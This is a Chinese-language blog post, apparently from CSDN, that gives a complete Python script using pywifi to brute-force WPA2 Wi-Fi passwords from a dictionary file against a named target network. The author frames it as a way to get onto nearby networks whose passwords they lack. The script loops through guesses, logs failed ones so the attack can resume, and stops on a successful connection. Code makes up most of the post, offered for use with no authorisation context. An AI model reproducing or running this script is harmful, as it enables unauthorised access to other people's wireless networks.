• python使用字典暴力解析wifi密码


    前言

    最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

    原理

    使用pip install pywifi命令安装pywifi
    在代码中设置好要扫描的wifi名后
    使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试
    扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试
    如果要切换解析其他WiFi,记得清空error.txt,因为其中的密码不会再次尝试

    尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

    源码

    import pywifi
    from pywifi import const
    import time
    errorList=[]
    # WiFi连接函数
    def connect_wifi(ssid, password):
        wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
        iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口
    
        iface.disconnect()  # 断开当前WiFi连接
    
        time.sleep(1)  # 等待1秒
    
        profile = pywifi.Profile()  # 创建WiFi配置文件
        profile.ssid = ssid  # 设置WiFi名称(SSID)
        profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)
    
        profile.key = password  # 设置WiFi密码
    
        # 删除所有WiFi配置文件
        iface.remove_all_network_profiles()
    
        # 添加新的WiFi配置文件
        tmp_profile = iface.add_network_profile(profile)
        iface.connect(tmp_profile)  # 连接WiFi
    
        time.sleep(3)  # 等待3秒,等待连接成功
    
        if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
            print(f"成功连接到WiFi:{ssid},密码为:{password}")
            return True
        else:
            print(f"无法连接到WiFi:{ssid},密码为:{password}")
            # 将字典保存到文件
            with open('error.txt', 'a') as f:
                    f.write(password + '\n')
            return False
    
    # 读取字典文件
    with open('dictionary.txt', 'r') as f:
        dictionary = f.read().splitlines()
    with open('error.txt', 'r') as f:
        errorDictionary = f.read().splitlines()
    ssid = '4F'  # 替换为目标WiFi的SSID
    realDict=[]
    for i in dictionary:
        if i not in errorDictionary:
            realDict.append(i)
    # 尝试字典中的每个密码
    for password in realDict:
        if connect_wifi(ssid, password):
            break  # 如果成功连接,停止尝试密码
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
  • 相关阅读:
    【C#枚举 Enum】
    接口的安全设计要素:ticket,签名,时间戳
    MS1205N激光测距用高精度时间测量(TDC)电路
    动力节点Rabbitmq-18-21章RabbitMQ集群与高可用
    HT32基本外设使用
    零基础Linux_10(进程)进程终止(main函数的返回值)+进程等待
    SOLIDWORKS® 2024 新功能 - 3D CAD
    探索银行的的IT架构
    springboot集成hystrix和feign,解决fallback,fallbackFactory不生效问题
    elasticsearch无法访问9200端口
  • 原文地址:https://blog.csdn.net/lidashent/article/details/132621716